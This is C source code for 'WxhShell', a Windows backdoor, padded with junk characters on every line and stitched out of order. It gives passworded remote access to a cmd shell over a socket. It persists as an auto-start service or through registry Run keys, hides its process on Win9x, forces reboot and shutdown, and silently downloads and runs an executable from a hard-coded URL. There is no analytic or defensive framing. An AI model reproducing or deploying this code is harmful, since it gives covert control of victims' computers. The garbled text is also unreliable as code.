    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z*Hxrw\!0  
    if(Boot(SHUTDOWN)) /gy:#-2Gy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _!g NF=  
    else { <TROs!x$a  
    closesocket(wsh); WBIB'2:m  
    ExitThread(0); Xm[r#IA  
    } <!nWiwv  
    break; ->25$5#  
    } XGl13@=O  
  // 获取shell 8'\,&f`Y  
  case 's': { w 4gZ:fR=  
    CmdShell(wsh); 5J#g JFA  
    closesocket(wsh); nv[Sb%/  
    ExitThread(0); &,kB7r"  
    break; *b l{F\  
  } O]LuL&=s y  
  // 退出 8BH)jna`Qo  
  case 'x': { |g^W @.P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t-'GRme  
    CloseIt(wsh); 12DdUPOi  
    break; )Ua2x@j'C@  
    } `.-k%2?/  
  // 离开 d<m>H$\Dm  
  case 'q': { '>3RZ& O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); } $c($  
    closesocket(wsh); $i] M6<Vxn  
    WSACleanup(); JNg5?V;.U  
    exit(1); \4X{\ p<  
    break; RSeezP6#  
        } Y6DiISl  
  } Cx'=2Y7  
  } 0x/V1?gm  
+!Ag n)  
  // 提示信息 x=+I8Q4:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eh(]'%![/  
} _[tBLGXD  
  } _ILOA]ga#  
SO<K#HfE$?  
  return; Lcb5 9Cs6e  
} L6 # d  
UVU*5U~  
// shell模块句柄 mpAh'f4$*  
int CmdShell(SOCKET sock) LKY Q?  
{ "G)?  E|  
STARTUPINFO si; e(5R8ud  
ZeroMemory(&si,sizeof(si)); Bq8<FZr#!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3yX^R^`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P#1y  
PROCESS_INFORMATION ProcessInfo; 8+|Lph`/?  
char cmdline[]="cmd"; Di=6.gm[<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O]!DNN  
  return 0; DcDGrRuh  
} Gukq}ZQd  
%LW~oI.  
// 自身启动模式 ? D'-{/<4  
int StartFromService(void) V-u\TiL  
{ 4f-C]N=  
typedef struct @"2-tn@q_  
{ 9 9-\cQv  
  DWORD ExitStatus; 9K(b Z {  
  DWORD PebBaseAddress; Q :|E  
  DWORD AffinityMask; emO!6]0gJ  
  DWORD BasePriority; `Yve  
  ULONG UniqueProcessId; 4D$E  
  ULONG InheritedFromUniqueProcessId; Q+N @j]'  
}   PROCESS_BASIC_INFORMATION; <(%uOo$  
:9qB{rLi}  
PROCNTQSIP NtQueryInformationProcess; v1rGq  
9V!K. _Cb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,%<77LE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M#|xj <p  
_<Tz 1>j=  
  HANDLE             hProcess; Rznr 9L  
  PROCESS_BASIC_INFORMATION pbi; AkC\CdmA  
/n=/WGl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }]@ "t)"  
  if(NULL == hInst ) return 0; =T6\kz9)`  
"0mR*{nF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c+VUk*c3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qQryv_QP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jy$-)  
5=e@yIr'#  
  if (!NtQueryInformationProcess) return 0; $]86w8?-N  
? ~8V;Qn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tO$M[P=b  
  if(!hProcess) return 0; ``D-pnKK  
tzPe*|m<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wEyh;ID3#  
[c~zO+x  
  CloseHandle(hProcess); Ado>)c"*y1  
!).d c.P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5j %jhby?  
if(hProcess==NULL) return 0; SM?<woY=*  
d7Z\  
HMODULE hMod; u]-$]zIH  
char procName[255]; \!Pm^FD .  
unsigned long cbNeeded; yR-.OF,c  
g}7%3D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QG ia(  
)^AO?MW  
  CloseHandle(hProcess); >~k Y{_  
?:c hAN@  
if(strstr(procName,"services")) return 1; // 以服务启动 {fs(+ 0ei  
eP8wTStC  
  return 0; // 注册表启动 cA,xf@itp  
} ,0O!w>u_]J  
lU3wIB  
// 主模块 u5,<.#EVY  
int StartWxhshell(LPSTR lpCmdLine) JM0)x}] +  
{ {Gy_QRsp,  
  SOCKET wsl; ,;;~dfHm  
BOOL val=TRUE; &kGSxYDk%  
  int port=0; (;0]V+-  
  struct sockaddr_in door; GfV9Ox   
LE"xZxe  
  if(wscfg.ws_autoins) Install(); -lHJ\=  
>"b"K{t  
port=atoi(lpCmdLine); O4{&B@!  
'=xl}v  
if(port<=0) port=wscfg.ws_port; w1Kyd?~%]  
Z]dc%>  
  WSADATA data; pVM;xxJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [iz  
TzjZGs W[V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l1msXBC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '=5N?)  
  door.sin_family = AF_INET; ]T1"3 [si  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Y_fX  
  door.sin_port = htons(port); .x&>H  
X9>ujgK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Fc Cxr@  
closesocket(wsl); 1RLSeT  
return 1; 1JY4E2Q  
} @%K 8 oYK  
m`|+_{4[n  
  if(listen(wsl,2) == INVALID_SOCKET) { j56Y,Tm  
closesocket(wsl); #&^+hx|  
return 1; :Wln$L$  
} =KMck=#B  
  Wxhshell(wsl); 3)sqAs(  
  WSACleanup(); +!rK4[W'  
TD@'0MaQ#  
return 0; .%o:kq@B  
NGxuwHIQ8  
} 8LOzL,Ah  
94+#6jd e  
// 以NT服务方式启动 ??4QDa-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5M3QRJ!  
{  GY>0v  
DWORD   status = 0; mcvTz, ; =  
  DWORD   specificError = 0xfffffff; 6%? NNEM  
!eW<4jYB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a2zo_h2R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %(i(ZW "  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Adh CC13B  
  serviceStatus.dwWin32ExitCode     = 0; IkupW|}rc  
  serviceStatus.dwServiceSpecificExitCode = 0; a&&EjI  
  serviceStatus.dwCheckPoint       = 0; 3WhJ,~o-y  
  serviceStatus.dwWaitHint       = 0; DwI)?a_+  
~96"^%D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ezL*YM8?@  
  if (hServiceStatusHandle==0) return; 5<61NnZ  
_=rXaTp  
status = GetLastError(); d 1z   
  if (status!=NO_ERROR) Ofn:<d  
{ aw~OvnX E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z@>>ZS1Do  
    serviceStatus.dwCheckPoint       = 0; U6{ RHS[  
    serviceStatus.dwWaitHint       = 0; IBR;q[Dj}  
    serviceStatus.dwWin32ExitCode     = status; k,H4<")H  
    serviceStatus.dwServiceSpecificExitCode = specificError; wvfCj6}S &  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N24+P5  
    return; ]HRE-g  
  } 0GB6.Ggft  
$*tuv ?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H_ x35|"  
  serviceStatus.dwCheckPoint       = 0; bF3j*bpO"  
  serviceStatus.dwWaitHint       = 0; uzsR*x%s-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s;A]GJ  
} q.*qZ\;K  
\]^|IViIQ  
// 处理NT服务事件,比如:启动、停止 ,y^By_1wS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,5q^/h  
{ t ;[Me0  
switch(fdwControl) t.m $|M>  
{ /(Y\ <  
case SERVICE_CONTROL_STOP: Bk8U\Ut  
  serviceStatus.dwWin32ExitCode = 0; *H;&hq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SN11J+  
  serviceStatus.dwCheckPoint   = 0; lcih [M6z  
  serviceStatus.dwWaitHint     = 0;  /8.;  
  { ;$nK ^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m^`X|xK-  
  } b*,R9  
  return; Ros5]5=dP  
case SERVICE_CONTROL_PAUSE: :yv!  x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JjM^\LwKkL  
  break; Odagaca  
case SERVICE_CONTROL_CONTINUE: kG%<5QH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mv5!fp_*7  
  break; 3b|.L Jz+  
case SERVICE_CONTROL_INTERROGATE: D4@=+  
  break; %$b 5&>q  
}; D0uf=BbS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &:Q""e!  
} 1cUC>_%?  
5e/%Tue.  
// 标准应用程序主函数 jJ9|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ow+NT  
{ Yd]f}5F  
v%_sCg  
// 获取操作系统版本 sH6srwI  
OsIsNt=GetOsVer(); e7<~[>g)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A=BpB}b  
T%Z`:mf  
  // 从命令行安装 jAF DkqH  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7/Ew(X8Fs  
CvlAn7r,@  
  // 下载执行文件 ofS9h*wrJ  
if(wscfg.ws_downexe) { c sYICLj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kD2MqR>  
  WinExec(wscfg.ws_filenam,SW_HIDE); Yzd-1Jvk  
} >5 Ce/P'R  
Oi7|R7NE  
if(!OsIsNt) { <{e0 i  
// 如果时win9x,隐藏进程并且设置为注册表启动 %R(j|a9z  
HideProc(); | YvO$4=s  
StartWxhshell(lpCmdLine); Yh"R#  
} S7-?&[oeJ  
else Dz.U&+*  
  if(StartFromService()) ^ 3Vjmv  
  // 以服务方式启动 l46O=?usDX  
  StartServiceCtrlDispatcher(DispatchTable); d@`yRueWiV  
else #~(@Ka.eA0  
  // 普通方式启动 IDv@r\Xw  
  StartWxhshell(lpCmdLine); ; <3w ,r  
|U12 fuQ  
return 0; <;M6s~  
} &u$l2hSS  
|IZG `3  
 c,x2   
;u , 5 2  
=========================================== n1$p esr  
2_UH,n  
?jy^WF`  
gm4-w 9M[p  
:s*&_y  
'v4AM@%u  
" I9B B<~4o  
Bojm lVg  
#include <stdio.h> r)ga{Nn,.  
#include <string.h> sd Z=3)  
#include <windows.h> obUh+9K  
#include <winsock2.h> ?zxKk(J  
#include <winsvc.h> 8> Gp #T  
#include <urlmon.h> M1VRc[ RRo  
S tn[M|  
#pragma comment (lib, "Ws2_32.lib") =T;%R^@  
#pragma comment (lib, "urlmon.lib") ZO:{9vt=/  
 Q"%L  
#define MAX_USER   100 // 最大客户端连接数 %xL3=4\  
#define BUF_SOCK   200 // sock buffer POx~m  
#define KEY_BUFF   255 // 输入 buffer :Ruj;j  
jt;68SA P  
#define REBOOT     0   // 重启 6]na#<  
#define SHUTDOWN   1   // 关机 bSBI[S  
,1QU  
#define DEF_PORT   5000 // 监听端口 9v0f4Pbxm  
UI |D?z<  
#define REG_LEN     16   // 注册表键长度 /TS>I8V!  
#define SVC_LEN     80   // NT服务名长度 bMf +/n  
R~)c(jj5  
// 从dll定义API  k:R9wo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LKztGfy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q-Bci Bh$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ywlym\ [+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =v1s@5 ;~  
o KX!{  
// wxhshell配置信息 7?b'"X"  
struct WSCFG { Kq{9 :G  
  int ws_port;         // 监听端口 4TUe*F@ ML  
  char ws_passstr[REG_LEN]; // 口令 Z3"f7l6  
  int ws_autoins;       // 安装标记, 1=yes 0=no I x-FJF-  
  char ws_regname[REG_LEN]; // 注册表键名 {U7j  
  char ws_svcname[REG_LEN]; // 服务名 X2Y-TE T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 amgYr$)m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NcRY Ch  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Ui8Sgeei  
int ws_downexe;       // 下载执行标记, 1=yes 0=no liPUK#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^hTq~"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4LKOBiEM  
'N0d==aI  
}; mbSJ}3c"  
J1&G1\G|s=  
// default Wxhshell configuration GiI2nHZc  
struct WSCFG wscfg={DEF_PORT, GXJJOy1"!  
    "xuhuanlingzhe", AgO:"'c  
    1, ]@>bz  
    "Wxhshell", ]`]m41+w  
    "Wxhshell", cD]{ Nn  
            "WxhShell Service", e>y"V; Mj  
    "Wrsky Windows CmdShell Service", 99H&#!~bSS  
    "Please Input Your Password: ", |Ax~zk;  
  1, 3>/Yku)t  
  "http://www.wrsky.com/wxhshell.exe", h5.u W8  
  "Wxhshell.exe" 8BC}D+q  
    }; !Vv$  
v6TH-  
// 消息定义模块 $v$~.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E.4`aJ@>d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q_qc_IcM y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mp%i(Y"vp  
char *msg_ws_ext="\n\rExit."; o1-Zh!*a*  
char *msg_ws_end="\n\rQuit."; <JDkvpckx.  
char *msg_ws_boot="\n\rReboot...";  ,`)!K}2  
char *msg_ws_poff="\n\rShutdown..."; Sh}AGNE'  
char *msg_ws_down="\n\rSave to "; GYyP+7K4l[  
r4D6g>)h1q  
char *msg_ws_err="\n\rErr!"; l^WFMeMD3a  
char *msg_ws_ok="\n\rOK!"; , B h[jb`y  
)# M*@e$k  
char ExeFile[MAX_PATH]; Ga"$_DyM  
int nUser = 0; 5}E8Tl  
HANDLE handles[MAX_USER]; kMf]~EZ?  
int OsIsNt; )nTOIfP2  
mvlK ~c8  
SERVICE_STATUS       serviceStatus; n"-cX)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ; Rt?&&W  
Skq%S`1%Q  
// 函数声明 Ri"3o  
int Install(void); z9u"?vdA  
int Uninstall(void); XM>ByfD{  
int DownloadFile(char *sURL, SOCKET wsh); \<]nv}1O  
int Boot(int flag); hA/K>Z  
void HideProc(void); sGc4^Z%l?  
int GetOsVer(void); n\ZDI+X  
int Wxhshell(SOCKET wsl); 9=K=gfZ  
void TalkWithClient(void *cs); (]0ZxWF  
int CmdShell(SOCKET sock); [#$z.BoEo  
int StartFromService(void); y!)Z ^u  
int StartWxhshell(LPSTR lpCmdLine); } |(KI  
K Ps 5? X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jx+%X\zokA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $:t;WXc.<  
r,EIOcz:  
// 数据结构和表定义 X-e)w  
SERVICE_TABLE_ENTRY DispatchTable[] = W{?7Pn?1`  
{ *R0Ae 4  
{wscfg.ws_svcname, NTServiceMain}, 8 U B?X  
{NULL, NULL} =VH, i/@  
}; 9Psy$  
m+s^K{k}  
// 自我安装 htq#( M  
int Install(void) 1#&*xF "  
{ AFF7fK  
  char svExeFile[MAX_PATH]; /t01z~_  
  HKEY key; e{>X2UNW  
  strcpy(svExeFile,ExeFile); h7wm xa;  
v;80RjPy>  
// 如果是win9x系统,修改注册表设为自启动 /~K-0K#w  
if(!OsIsNt) { 0Zs}y\J`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BI3Q~ADV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MrXhVZ"d*  
  RegCloseKey(key); }2|>Y[v2j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rH8w||S2U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hmHm;l  
  RegCloseKey(key); !dv  
  return 0; CY <,p$  
    } o>';-} E  
  } 2$jTj<.K  
} !gWV4vC  
else { >u4%s7 v  
CVyqr_n65/  
// 如果是NT以上系统,安装为系统服务 +>@<'YI<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EX~ U(JB6  
if (schSCManager!=0) 6OkN(tL&.  
{ 7^ A;.x  
  SC_HANDLE schService = CreateService Bq#?g@V  
  ( weEmUw Z  
  schSCManager, rL w,?  
  wscfg.ws_svcname, Ont4-AP   
  wscfg.ws_svcdisp, 9_n!.zA<  
  SERVICE_ALL_ACCESS, i<YatW~Pu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D ?1$I0=  
  SERVICE_AUTO_START, xVao3+r  
  SERVICE_ERROR_NORMAL, #Wey)DI  
  svExeFile, 3U!\5Nsby  
  NULL, Ig-9Y;hdmn  
  NULL, XI~2Vzht  
  NULL, Ec y|l ;  
  NULL, 82WXgB>  
  NULL /8VM.fr$  
  ); wyzj[PDS  
  if (schService!=0) Eb7qM.Q] &  
  { l4I@6@  
  CloseServiceHandle(schService); ZTfs&5  
  CloseServiceHandle(schSCManager); D0Oh,Fe#M\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <(TTYf8lS  
  strcat(svExeFile,wscfg.ws_svcname);  (f,D$mX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0Y,_ DU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \Azl6`Em  
  RegCloseKey(key); .3l'&".'  
  return 0; )2C_6eR  
    } g>_lU vSE  
  } K, ae-#wgb  
  CloseServiceHandle(schSCManager); 0zCe|s.S&  
} "2o,XF  
} "gADHt=MIR  
qPK3"fzH  
return 1; _%Sorr  
} C\Qor3];  
AB'q!7NR  
// 自我卸载 RLOB  
int Uninstall(void) L1D{LzlBti  
{ b*LEoQSl0V  
  HKEY key; >:%i,K*AM  
M;V (Tf  
if(!OsIsNt) { *A':^vgk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6q RZ#MC  
  RegDeleteValue(key,wscfg.ws_regname); I8;pMr6  
  RegCloseKey(key); |kyxa2F{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x]&V7Y   
  RegDeleteValue(key,wscfg.ws_regname); $`W .9  
  RegCloseKey(key); U$@p"F@P  
  return 0; )sWdN(E3  
  } oM/(&"  
} #"&h'V  
} 8;mn7XX  
else { Fy3&Emu  
|#q5#@,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J)vP<.3:  
if (schSCManager!=0) -g(&5._,ZW  
{ 4J Bm|Pf(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >Ip>x!wi  
  if (schService!=0) Qctm"g|  
  { =|O`al  
  if(DeleteService(schService)!=0) { `X'-4/Y  
  CloseServiceHandle(schService); !Sx }~XB<  
  CloseServiceHandle(schSCManager); B.vg2N  
  return 0; :j)H;@[I  
  } S^? @vj  
  CloseServiceHandle(schService); ?}\aG3_4  
  } S/Pffal  
  CloseServiceHandle(schSCManager); HUiW#x%;  
} vi')-1Y KM  
} w'oP{=y[  
) E.KB6  
return 1; 6*u#^">,<  
} t33/QW r  
+e+hIMur  
// 从指定url下载文件 u POmi F  
int DownloadFile(char *sURL, SOCKET wsh) XP~bmh,T,  
{ &@u;xc| v  
  HRESULT hr; -fFM-gt^t  
char seps[]= "/"; H RJz  
char *token; jE|Ju:}&  
char *file; D[U[ D  
char myURL[MAX_PATH]; - ?_aYJ  
char myFILE[MAX_PATH]; 3CK4a,]Dm  
_doX&*9u  
strcpy(myURL,sURL); dIgaw;Ch]  
  token=strtok(myURL,seps); /_ }xTP"9  
  while(token!=NULL) GzxtC  &  
  { ,R]hNjs-{  
    file=token; RL7OFfMe  
  token=strtok(NULL,seps); ":E 7#9  
  } :M)B#@ c=  
6C@,&2<yK  
GetCurrentDirectory(MAX_PATH,myFILE); g N76  
strcat(myFILE, "\\"); Jy?s'tc  
strcat(myFILE, file); K-(k6<h  
  send(wsh,myFILE,strlen(myFILE),0); JYB"\VV  
send(wsh,"...",3,0); j3jf:7 /\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fYU/Jn#  
  if(hr==S_OK) RO"c+|Py  
return 0; E:/G!1  
else :bFCnV`Q  
return 1; VZB T'N  
H'|b$rP0@  
} H~UxVQLPp  
Njsz=  
// 系统电源模块 awLN>KI]</  
int Boot(int flag) aTF~rAne<  
{ t<s:ut)Q!  
  HANDLE hToken; zBD ?O!  
  TOKEN_PRIVILEGES tkp; T;K,.a8bU  
rM<|<6(L  
  if(OsIsNt) { m-9{@kgAM?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); # le<R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b-R!oP+vP  
    tkp.PrivilegeCount = 1; g((glr)6M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M&o@~z0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aZEi|\VU  
if(flag==REBOOT) { "Opk:;.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OZ<iP  
  return 0; }z:g}".4  
} )\#w=P  
else { 3`[f<XaL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5W_u|z+/g  
  return 0; S\=j; Uem  
} jq#gFt*  
  } PhL}V|W>  
  else { Q`k=VSUk  
if(flag==REBOOT) { ep`WYR|B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tj/X 7|  
  return 0; rUvjc4O}  
} _1jd{? kt  
else { Z]f_? @0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ))f%3_H  
  return 0; % B+W#Q`  
} Si#I^aF`%  
} KPO?eeT.WZ  
ZYDLl8  
return 1; a_Y*pOu  
} 9a}rE  
<?UbzT7X  
// win9x进程隐藏模块 1%~yb Q  
void HideProc(void) SXkUtY$  
{ 1vKc>+9  
(n:d {bKV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _Kdqa%L !  
  if ( hKernel != NULL ) :L gFd  
  { 1xN6V-qk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z%-Yz- G9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N>qOiw[  
    FreeLibrary(hKernel); a9S0glbwf  
  } 'q%56WAJ  
 pleLdGq  
return; xL8r'gV@  
} 6[fpe  
xG:eS:iT  
// 获取操作系统版本 l_bvwo  
int GetOsVer(void) h8@8Q w  
{ 2Zt :]be  
  OSVERSIONINFO winfo; e~]3/0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^Xv_y+  
  GetVersionEx(&winfo); ?blF6Kl$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F:nhSd  
  return 1; Ibt~e4f  
  else &KinCh7l L  
  return 0;  PI_MSiYQ  
} k L\;90  
'z$BgXh\  
// 客户端句柄模块 &)`xlIw}  
int Wxhshell(SOCKET wsl) On x[}x  
{ A&EVzmj-+X  
  SOCKET wsh; x\taG.'zX  
  struct sockaddr_in client; ~uy{6U{&I  
  DWORD myID; }uWIF|h~  
*Ju$A  
  while(nUser<MAX_USER) HKu? J  
{ &+V6mH9m@  
  int nSize=sizeof(client); hBb&-/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g/Q"%GN,  
  if(wsh==INVALID_SOCKET) return 1; ffMh2   
1k-YeQNe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A+3,y<j\  
if(handles[nUser]==0) 8!8 yA  
  closesocket(wsh); i-1lppI  
else #p'Xq }]  
  nUser++; M"QT(u+  
  } )P&>Tc?;z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OZ{YQ}t{^1  
 zxN,ys  
  return 0; k?(x}IZdG  
} fTQ_miAlP  
@tv3\eD  
// 关闭 socket ]O%wZIp\P  
void CloseIt(SOCKET wsh) qg521o$*  
{ IE/F =Wr  
closesocket(wsh); -+1_ 1!  
nUser--; sEBZ-qql  
ExitThread(0); <cC0l-=  
} %V r vu5  
;F>$\"aG  
// 客户端请求句柄 Po+I!TL'  
void TalkWithClient(void *cs) -1\*}m%1e  
{ +Fn^@/?yC  
2hZ>bg  
  SOCKET wsh=(SOCKET)cs; rHS;wT  
  char pwd[SVC_LEN]; |>w>}w`~  
  char cmd[KEY_BUFF]; 9  Vn  
char chr[1]; 8GRp1'\Hi  
int i,j; um/2.Sn>  
Xz/5 Wis4  
  while (nUser < MAX_USER) { /-Saz29f^Q  
4<`Qyul-  
if(wscfg.ws_passstr) { >F@qFP N]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XwI~ 0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p]/qf \E  
  //ZeroMemory(pwd,KEY_BUFF); l/=2P_8+Z  
      i=0; E cS+/  
  while(i<SVC_LEN) { I` `S%`h  
+ZuT\P&kR5  
  // 设置超时 h6Femis  
  fd_set FdRead; ^]x%z*6  
  struct timeval TimeOut; M84{u!>[  
  FD_ZERO(&FdRead); "nkj_pC  
  FD_SET(wsh,&FdRead); 4r'QP .h  
  TimeOut.tv_sec=8; ^,P# <,D,  
  TimeOut.tv_usec=0; $P=B66t ^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RK7vR~kf<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yH\3*#+  
E5^P*6c(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Iq76JJuCb  
  pwd=chr[0]; li!3bv  
  if(chr[0]==0xd || chr[0]==0xa) { 2 kP0//  
  pwd=0; }OQaQf9V{  
  break; E_fH,YJ?9  
  } bOEO2v'cQ  
  i++; @W4tnM,#  
    } Ry$zF~[   
$)HD`E  
  // 如果是非法用户,关闭 socket uX.^zg]}%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dd:TFZo  
} {;z{U;j  
n\-nBrVSf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4AIo,{(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }9Th`   
u-8b,$@Z>'  
while(1) { :.k1="H~@  
$#ve^.VHv  
  ZeroMemory(cmd,KEY_BUFF); mJ_ 5Vt=  
eD(;W n  
      // 自动支持客户端 telnet标准   n7|8`? R^  
  j=0;  wZ(H[be  
  while(j<KEY_BUFF) { ~pZ<VH;h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <Ny DrO"C3  
  cmd[j]=chr[0]; /?ZO-]q  
  if(chr[0]==0xa || chr[0]==0xd) { kFRl+,bi~  
  cmd[j]=0; |w{}h6 a  
  break; @5["L  
  } "jUM}@q5  
  j++; '3p7ee&  
    } <:n !qQS6  
N4[`pXM6  
  // 下载文件 3P.v#TEst  
  if(strstr(cmd,"http://")) { vcmB)P-T`O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nf]h8d~  
  if(DownloadFile(cmd,wsh)) FI(iqSJ6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @TQzF-%#7  
  else } SNZl`>  
